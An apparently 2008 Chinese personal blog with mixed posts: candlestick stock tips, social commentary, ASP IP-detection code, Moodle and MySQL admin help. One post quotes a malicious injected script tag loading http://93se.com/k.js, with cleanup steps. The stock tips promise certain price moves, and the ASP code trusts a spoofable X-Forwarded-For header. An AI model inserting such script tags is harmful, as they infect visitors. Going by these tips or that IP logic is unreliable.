物事心语

我的胡言乱语

  DonewsBlog  |  Donews首页  |  Donews社区  |  Donews邮箱  |  我的首页  |  联系作者  |  聚合   |  登录
  89篇文章 :: 0篇收藏:: 15篇评论:: 0个Trackbacks

公告


高山仰止,景行景止,虽不能至,心向往之……!

文章

收藏

相册

朋友的BLOG

我的个人BLOG

存档


正在读取评论……


2008年11月22日


    摘要:1、反弹线 在底价圈内,行情出现长长的下影线时,往往即为买进时机,出现买进信号之后,投资人即可买进,或为了安全起见,可等候行情反弹回升之后再买进,若无重大利空出现,行情必定反弹。 2、二颗星 上涨行情中出现极线的情形即称为二颗星、三颗星,此时价格上涨若再配合成交量放大,即为可信度极高的买进时机,价格必再出现另一波涨升行情。 3、舍子线 在大跌行情中,跳空出现十字线,这暗示着筑底已经完成,为反弹之征兆。 4、跳空上扬 在上涨行情中,某日跳空拉出一条阳线后,即刻出现一条下降阴线,此为加速价格上涨的前兆,投资人无须惊慌做空,价格必将持续前一波涨势继续上升。 5、最后包容线 在连续的下跌行情中出现小阳线,隔日即刻出现包容的大阴线,此代表筑底完成,行情即将反弹。虽然图形看起来呈现弱势,但该杀出的额子均已出尽,行情必将反弹而上。 6、下档五条阳线 在底价圈内出现五条阳线,暗示逢低接手力道不弱,底部形成,将反弹。 7、下降阴线 在涨升的途中,出现如右图般的三条连续下跌阴线,为逢低承接的大好时机。当第四天阳线超越前一天的开盘价时    (全文共1383字)——点击此处阅读全文


2008年08月27日


    摘要:

近日“我区万杰、青龙、育才三校联合办学启动仪式举行”。

详见“http://www.bsjy.net/news/show.aspx?id=6592&cid=22”

校舍不变,师资不变,一切都没有改变,只是校牌改为“万杰青龙”和“万杰育才”,违规招生成为民办学校合法招生,这招实在是太厉害了!

    (全文共220字)——点击此处阅读全文


2008年08月09日


    摘要:

感受一个字“平”,缺乏高潮和激情的开幕式……!

开幕式中贯穿始终的中国传统文化,绝大多数的时间都是在卖弄祖宗留下的“千年文化”、“四大发明”,就连主题曲都是中庸的“你和我”,缺乏高潮和激情,就像是一首平淡的叙事史诗,除了那千万演员的庞大阵容衬托出来的恢宏气势,缺乏一个令人激动、铭记一生的瞬间,现代中国的表现更是彰显的苍白无力!

不知道祖宗五千年的历史还可以卖弄多少年……?总抓住过去的辉煌和成就,什么都是中国第一,就连足球都是中国起源,可连亚洲的足球霸主地位都难以保证,沉湎于过去的成就纠缠不休无异于极度的自恋!

纵观张导的影视无处不在的“中国元素”,中国传统情结的极度自恋!

    (全文共408字)——点击此处阅读全文


2008年07月20日

股票即时行情代码,插入到网页合适位置即可,也可以插入到博客的模板,作为个性化模板使用:

<table style="WIDTH: 183px; HEIGHT: 195px" cellspacing="0" cellpadding="2" width="183" align="left" border="0">
    <form style="MARGIN: 0px" onsubmit="fm_submit2()" action="http://stock.finance.qq.com/cgi-bin/sstock/ggcx" method="post" target="_blank" name="formdphq">
        <tbody>
            <tr>
                <td bgcolor="#ffffff" height="2">
                <p align="center"><iframe style="WIDTH: 172px; HEIGHT: 129px" marginwidth="0" marginheight="0" src="http://stock.finance.qq.com/cgi-bin/hqing/zhishul" frameborder="0" width="168" scrolling="no" height="130" bordercolor="#000000"></iframe></p>
                </td>
            </tr>
            <tr>
                <td bgcolor="#bcdff7"><span class="m12"></span>
                <p align="center"><select name="select">
                <option selected="selected">沪深</option>
                <option>基金</option>
                </select> <select style="WIDTH: 88px" name="select2">
                <option value="ggcx" selected="selected">行情</option>
                <option value="zjjbzl">证券基本资料</option>
                <option value="zldx">主力动向</option>
                <option value="mgsy">每股收益</option>
                <option value="fhps_a">分红送配</option>
                <option value="jjcg">基金持股</option>
                <option value="zqyybjyqk">上榜记录</option>
                <option value="gsgk">公司概况</option>
                <option value="ggry">高管人员</option>
                <option value="gbjg">股本结构</option>
                <option value="sdgd">十大股东</option>
                <option value="ltgd">十大流通股东</option>
                <option value="cgfb">期末股东持股分布</option>
                <option value="cwzy_list">财务摘要</option>
                <option value="zcfzb_jr">资产负债表</option>
                <option value="lrfpb_jr">利润分配表</option>
                <option value="xjllb_jr">现金流量表</option>
                <option value="cwfx_list">财务分析</option>
                <option value="zyywfb">主营业务分布</option>
                <option value="yjyg_list">业绩预告</option>
                <option value="zxgg">最新公告</option>
                <option value="gddhgg">股东大会公告</option>
                <option value="dshgg">董事会公告</option>
                <option value="jshgg">监事会公告</option>
                <option value="jdbg">季度报告</option>
                <option value="bndbg">半年度报告</option>
                <option value="ndbg">年度报告</option>
                </select> </p>
                </td>
            </tr>
            <tr>
                <td bgcolor="#bcdff7"><span class="m12"></span>
                <p align="center"><input style="WIDTH: 80px" size="10" name="ZHENGQUANDM" /> <input type="image" height="24" width="63" src="http://mat1.qq.com/finance/images/sstock/anniu01.gif" align="absMiddle" border="0" name="imageField" /></p>
                </td>
            </tr>
        </tbody>
    </form>
</table>




真正IP的取得应该这样:
ip = Request.ServerVariables("HTTP_X_FORWARDED_FOR")
if ip = "" then
ip=Request.ServerVariables("remote_addr")
end if
if instr(ip,"'")>0 then
ip="0.0.0.0"
end if

这样可以突破代理IP查看到真实IP。而不是单纯地用一句ip=Request.ServerVariables

("remote_addr")。这样如果人家用了代理,只能得到代理服务器IP。

我们知道,IP格式是这样的:aaa.bbb.ccc.ddd
每一位是0到255。所以,我们可以将任意一个IP转换成一个数IPNUMS

ASP公式:
ip="172.16.0.1"
arr=split(ip,".")
IPNUMS=int(arr(0))*16777216+int(arr(1))*65536+int(arr(2))*256+int(arr(3))-1
response.write IPNUMS

这样得出的结果,是唯一的,大小关系与IP的所属关系是相同的。

在IP进行比较的时候,就直接比较IPNUMS的大小来判断是否在你需要的IP段内。

如,校内IP段一是这样:172.16.0.1-172.18.255.254
转换后:2886729728 - 2886926333
现有一个内网IP:172.17.100.100转换后为:2886820963

可以知道2886729728<2886820963<2886926333

所以,可以知道这个IP在内网里,就用跳转跳到1.asp
response.Redirect "1.asp"

 ip = Request.ServerVariables("HTTP_X_FORWARDED_FOR") 这句,如果使用了代理IP上网,这将透过代理得到真实IP。但如果没有用代理,则将得到一个空值。所以,下面对得到的IP进行判断是否使用了代理: if ip = "" then ip=Request.ServerVariables("remote_addr") end if 如果没有用代理那么ip = Request.ServerVariables("HTTP_X_FORWARDED_FOR")值为空 ,则用ip=Request.ServerVariables("remote_addr") 得到真实IP。

 详细说一下第一部分。 ip = Request.ServerVariables("HTTP_X_FORWARDED_FOR") if ip = "" then ip=Request.ServerVariables("remote_addr") end if if instr(ip,"'")>0 then ip="0.0.0.0" end if

 如果IP中包含有符号',则IP为0.0.0.0 if instr(ip,"'")>0 then ip="0.0.0.0" end if 这种方法主要是决对规范IP,使得后面使用split(ip,".")的时候在任何情况下都不会出错。




安装了moodle,学生在注册的时候,由于服务器反应慢,有很多没有注册完成的账号,在用户列表里面可以看到,但是又不能使用,可用如下方式批量删除用户:
 
进入目录phpmyadmin进入数据库,找点moodle的库,里面有个mdl_user的表,里面是所有用户的列表,找到那些没有姓名等资料的用户,可以批量删除

为了避免误删除,千万注意先备份数据库。



今天使用moodle平台作教师评价系统,因为访问用户数过多导致mdl_user数据表出错,从网上查找相关信息,终于解决,数据完好无丢失……!

解决方法:

我用的修复命令是:myisamchk -r bbsthreads
其中bbsthreads是我出问题的表名,当然使用这个命令还得进入mysql你所出问题的数据库的表的存放路径,具体更详细的命令可以看帮助:myisamchk --help;
如果用以上命令你不能解决问题请看后面,后面的内容是我转载的。

我的网站出问题了,访问一看,果然全屏报错,检查mysql日志,错误信息为:

 Table '.\dedecmsv4\dede_archives' is marked as crashed and should be repaired

提示说cms的文章表dede_archives被标记有问题,需要修复。于是赶快恢复历史数据,上网查找原因。最终将问题解决。解决方法如下:

找到mysql的安装目录的bin/myisamchk工具,在命令行中输入:

myisamchk -c -r ../data/dedecmsv4/dede_archives.MYI

然后myisamchk 工具会帮助你恢复数据表的索引。重新启动mysql,问题解决。

问题分析:

1、错误产生原因,有网友说是频繁查询和更新dede_archives表造成的索引错误,因为我的页面没有静态生成,而是动态页面,因此比较同意这种说法。还有说法为是MYSQL数据库因为某种原因而受到了损坏,如:数据库服务器突发性的断电、在提在数据库表提供服务时对表的原文件进行某种操作都有可能导致MYSQL数据库表被损坏而无法读取数据。总之就是因为某些不可测的问题造成表的损坏。

问题的编号为145

2、问题解决办法。

 当你试图修复一个被破坏的表的问题时,有三种修复类型。如果你得到一个错误信息指出一个临时文件不能建立,删除信息所指出的文件并再试一次--这通常是上一次修复操作遗留下来的。
这三种修复方法如下所示:
% myisamchk --recover --quick /path/to/tblName
% myisamchk --recover /path/to/tblName
% myisamchk --safe-recover /path/to/tblName
 
第一种是最快的,用来修复最普通的问题;而最后一种是最慢的,用来修复一些其它方法所不能修复的问题。

检查和修复MySQL数据文件
如果上面的方法无法修复一个被损坏的表,在你放弃之前,你还可以试试下面这两个技巧:
如果你怀疑表的索引文件(*.MYI)发生了不可修复的错误,甚至是丢失了这个文件,你可以使用数据文件(*.MYD)和数据格式文件(*.frm)重新生成它。首先制作一个数据文件(tblName.MYD)的拷贝。重启你的MySQL服务并连接到这个服务上,使用下面的命令删除表的内容:
mysql> DELETE FROM tblName;
在删除表的内容的同时,会建立一个新的索引文件。退出登录并重新关闭服务,然后用你刚才保存的数据文件(tblName.MYD)覆盖新的(空)数据文件。最后,使用myisamchk执行标准的修复(上面的第二种方法),根据表的数据的内容和表的格式文件重新生成索引数据。

如果你的表的格式文件(tblName.frm)丢失了或者是发生了不可修复的错误,但是你清楚如何使用相应的CREATE TABLE语句来重新生成这张表,你可以重新生成一个新的.frm文件并和你的数据文件和索引文件(如果索引文件有问题,使用上面的方法重建一个新的)一起使用。首先制作一个数据和索引文件的拷贝,然后删除原来的文件(删除数据目录下有关这个表的所有记录)。

启动MySQL服务并使用当初的CREATE TABLE文件建立一个新的表。新的.frm文件应该可以正常工作了,但是最好你还是执行一下标准的修复(上面的第二种方法)。


 3、myisamchk工具介绍(见mysql的官方手册)

可以使用myisamchk实用程序来获得有关数据库表的信息或检查、修复、优化他们。myisamchk适用MyISAM表(对应.MYI和.MYD文件的表)。

调用myisamchk的方法:

shell> myisamchk [options] tbl_name ...
options指定你想让myisamchk做什么。在后面描述它们。还可以通过调用myisamchk --help得到选项列表。

tbl_name是你想要检查或修复的数据库表。如果你不在数据库目录的某处运行myisamchk,你必须指定数据库目录的路径,因为myisamchk不知道你的数据库位于哪儿。实际上,myisamchk不在乎你正在操作的文件是否位于一个数据库目录;你可以将对应于数据库表的文件拷贝到别处并且在那里执行恢复操作。

如果你愿意,可以用myisamchk命令行命名几个表。还可以通过命名索引文件(用“ .MYI”后缀)来指定一个表。它允许你通过使用模式“*.MYI”指定在一个目录所有的表。例如,如果你在数据库目录,可以这样在目录下检查所有的MyISAM表:

shell> myisamchk *.MYI
如果你不在数据库目录下,可通过指定到目录的路径检查所有在那里的表:

shell> myisamchk /path/to/database_dir/*.MYI
你甚至可以通过为MySQL数据目录的路径指定一个通配符来检查所有的数据库中的所有表:

shell> myisamchk /path/to/datadir/*/*.MYI
推荐的快速检查所有MyISAM表的方式是:

shell> myisamchk --silent --fast /path/to/datadir/*/*.MYI
如果你想要检查所有MyISAM表并修复任何破坏的表,可以使用下面的命令:

shell> myisamchk --silent --force --fast --update-state \
          -O key_buffer=64M -O sort_buffer=64M \
          -O read_buffer=1M -O write_buffer=1M \
          /path/to/datadir/*/*.MYI
该命令假定你有大于64MB的自由内存。关于用myisamchk分配内存的详细信息,参见5.9.5.5节,“myisamchk内存使用”。

当你运行myisamchk时,必须确保其它程序不使用表。否则,当你运行myisamchk时,会显示下面的错误消息:

warning: clients are using or haven't closed the table properly
这说明你正尝试检查正被另一个还没有关闭文件或已经终止而没有正确地关闭文件的程序(例如mysqld服务器)更新的表。

如果mysqld正在运行,你必须通过FLUSH TABLES强制清空仍然在内存中的任何表修改。当你运行myisamchk时,必须确保其它程序不使用表。避免该问题的最容易的方法是使用CHECK TABLE而不用myisamchk来检查表。 




这几天学习魔灯 moodle系统,关于批量添加学生用户的问题:

多老师要求批量添加学生(用户), 而不是让学生自己一个一个地注册, 这样既提高效率, 又减少差错, 同时又便于老师统一管理.

事实上, Moodle支持这样的做法, 只是需要有管理员的身份来操作这件事. 我试过Windows下的1.53版, Linux下的1.71等版本均可顺利完成. 不过老版本对已存在的用户(以Email为认证依据), 不提示覆盖, 而新版本则增加了覆盖和更新选项. 当然你也可以不用批量添加, 而直接用其它系统(登录数据库)已有的认证方法.

本人推荐在Excel中完成这项任务, 即在第一行输入以下5个字段(这5项是必选项目,其它可选如城市city,国家country,语言lang等) :
username password firstname lastname email (即用户名,密码,名,姓,电子邮件)
从第二行开始可以将一条条记录输入, 我们可以充分发挥Excel的功能, 如将用户名以学籍号依次递增; 内容相同的也可轻易拖动复制或从其它现成的表格复制. 另外, 建议大家将firstname填入中文姓名, lastname填入与username相同的内容, 以便于显示和用户查询与管理.

全部完成后, 将此表另存为csv格式(以逗号分隔的文本文件), 然后用editplus之类的文本编辑软件将文件格式转为utf8格式. 这点对于上传用户非常重要!
有的老师可能会问, 那为何不用Windows自带的记事本来保存为utf8格式? 这个问题问得好, 也正是我曾经困惑过的.

经实验, 直接用excel保存的csv格式文件可以批量导入, 但中文都不将显示. 如用记事本转为utf8后导入则将出现失败的告示.
经研究, 得知用excel保存的csv格式文件其编码是默认ansi, 用记事本转存后, 虽然可以为utf8, 但中文版windows自带的中文版记事本保存的utf8是双字节的.而我们安装moodle时所选的utf8却是单字节的, 所以会出问题.

正因为如此, 我们要用editplus, ultraedit, winhex, pspad之类的文本编辑软件转换一下. 相信熟悉编程的老师早就知道其中的原理.
希望大家方便使用. 也欢迎提出更好的解决方案.





    摘要:

一、机位和景别的选择

一个多媒体教室的硬件一般由计算机系统、视频展台、视频投影系统(各类信号源+投影仪+投影屏幕)、音响系统、供电    (全文共6820字)——点击此处阅读全文



2008年02月03日


    摘要:

今天偶然发现自己电脑上所有的网页文件,包括ASP、HTML统统被植入恶意代码“<script language=javascript src=http://93se.com/k.js></script>”,也不知道什么时候感染了木马病毒,所有网页文件全部被感染,现在木马真是厉害啊。

网上找了一下,用“超级巡警”可以解决此问题,具体方法如下:“使用超级巡警的恶意代码清除功能。点击工具,选择垃圾清理,清除指定恶意代码,如“<script language=javascript src=http://93se.com/k.js></script>”就可以了”

不过最好把所有网页文件更改成只读属性,避免病毒的再次改写,不知道有没有批量更改属性的工具,还没有测试……!先记录一下解决的方法!

    (全文共453字)——点击此处阅读全文